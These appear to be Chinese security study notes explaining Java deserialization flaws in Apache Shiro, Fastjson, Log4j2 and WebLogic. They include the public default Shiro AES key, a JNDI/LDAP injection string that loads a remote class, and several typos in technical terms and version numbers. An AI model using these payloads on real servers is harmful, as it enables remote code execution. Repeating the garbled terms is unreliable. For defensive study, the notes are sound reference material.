一、反序列化漏洞
序列化和反序列化基础
首先我们得知道什么是序列化和反序列化,简单来说
序列化:就是将对象转化为字符串进行存储
反序列化:就是将字符串转化为对象
反序列化漏洞:就是在反序列化过程中,如果恶意者可以对将要转换的字符串进行操控,从而达到任意代码执行的操作,就是反序列化漏洞
二、关于反序列化你必须知道的几种漏洞
1.shiro-550反序列化漏洞
漏洞原理
apache shiro框架提供了rememberme的功能,用户登录成功后会生成经过加密 并编码的cookie,在服务端对remeberme的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。那么,payload产生的过程:命令=>序列化=>AES加密=>base64编码=>rememberme cookie值,再整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易知道密钥了,Payload构造起来也是十分简单
影响版本
apche shiro <1.2.4
shiro反序列化特征
返回包中会包含rememberme=deleteme字段
这种情况大多会发生在登陆处,返回包里包含remeberme=deleteme字段,这个是再返回包中(Response)如果返回的数据包中没有remeberme=deleteme字段的话,可以再数据包中的cookie中添加remeberme=deleteme字段也会在返回包中有这个字段
漏洞的简单介绍利用
- 通过再cookie的rememberme字段中插入恶意payload
- 触发shiro框架的rememberme的反序列化功能,导致任意代码执行
- shiro1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
- 由于开发人员未修改AES密钥而直接使用shiro框架,导致了该问题
2.shiro-721反序列化漏洞
漏洞原理
apache shiro rememberme cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的rememberme cookie作为Padding Oracle Attack的前缀,然后精心构造rememberme cookie值来实现反序列化漏洞攻击
-
AES-128-CBC
- AES指“高级加密标准”,是一种对称加密的分组加密算法
- 128指的密钥长度
- CBC指“棉麻分组链接”加密模式
- PKCS5Padding是Apache Shiro中默认填充方式,最后一个明文分组缺少N个字节,则填充N个0x0N
-
在Apache Shiro中默认使用CBC加密模式与PKCS5Padding填充方式,CBC加密模式容易遭到Padding Oracle Attack,攻击者可以通过枚举IV的方式计算出全部明文,并且可以通过CBC Byte-Flipping Attack篡改某一段的明文
-
Padding Oracle Attack利用前提
- 攻击者能够获得密文(CipherText)与附带在密文前面的初始化向量(IV)
- 服务端对密文解密后会判断Padding是否有效,并根据不同的判定结果返回不同的响应信息
-
CBC Byte-Flipping Attack 利用前提:明文和密文已知
简单来说就是:
shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到,是系统随机生成的,而cookie解析过程是一样的,也就意味着如果能伪造恶意的rememberme字段的值且目标含有可利用的攻击链的话,还是能够进行RCE攻击的
影响版本
1.2.5
1.2.6
1.3.0
1.3.1
1.3.2
1.4.0-RC2
1.4.0
1.4.1
利用条件
知道已经登录用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用
3.Fastjson反序列化漏洞
什么是Fastjson
Fastjson是java的一个库,可以通过toJSONString()方法将java对象转化为json格式的字符串,也可以通过parseObject()方法将json格式的字符串转化为java对象
Fastjson反序列化漏洞原理
在反序列化的时候,会进入parseField方法,调用setValue(object,value)方法,如果在这里构造恶意的payload,就会造成最后的代码执行,这个漏洞的利用作用点有两个:
- 第一个需要我们指定一个类,这个类的作用是为了让程序获取这个类进行反序列化操作
- 第二是将需要执行的代码提供给程序,在这里使用rmi模型,反序列化的时候就会请求rmi服务器,地址为dnslong.cn/xxx,然后加载恶意xxx class文件从而造成代码执行
Fastjson反序列化漏洞的前提条件
- 目标服务器存在Fastjson
- 没有对用户传输的数据进行严格过滤
4.log4j2反序列化漏洞
什么是log4j2
log4j2是apache基于Java的日志记录工具
关于log4j2要知道的知识
RMI
java远程方法调用,是java变成语言中一种用于实现远程过程调用的应用程序编程接口
JRMP
java远程方法协议,用于查找和引用远程对象的协议,适用于RMI过程中的协议
JNDI
java命名和目录接口,是java目录服务应用程序接口(API),提供目录系统,将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象
LDAP
LDAP轻型目录访问协议,LDAP可以理解为简单存储数据的树状结构数据库,适合用于查询,也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)
Codebase
Codebase就是存储代码或者编译文件的服务,其可根据名称返回对应的代码或者编译文件,如果根据的是类名,则提供对应的class文件
漏洞原理
log4j2默认支持解析IDAP/RMI协议,并会通过名称从IDAP服务端其获取的对应class文件,并使用ClassLoader在本地加载LDAP服务端返回的Class类,这就为攻击者提供了攻击途径,攻击者可以在界面传入包含恶意内容(可以提供恶意的class文件)的IDAP协议内容(如${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的class加载执行(可执行任意后台命令),从而达到攻击原理
5.Weblogic T3反序列化漏洞
weblogic T3反序列化漏洞原理
远程攻击者利用该漏洞在未授权的情况下发送数据,通过T3协议,利用RMI机制的缺陷(绕过weblogic黑名单限制),然后将加载的内容利用readObject解析,从而造成反序列化远程代码执行漏洞,所以开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以达到执行任意反序列化的目的(获取目标服务器的权限)
6.Weblogic XMLDecoder反序列化漏洞
Weblogic XMLDecoder反序列化漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令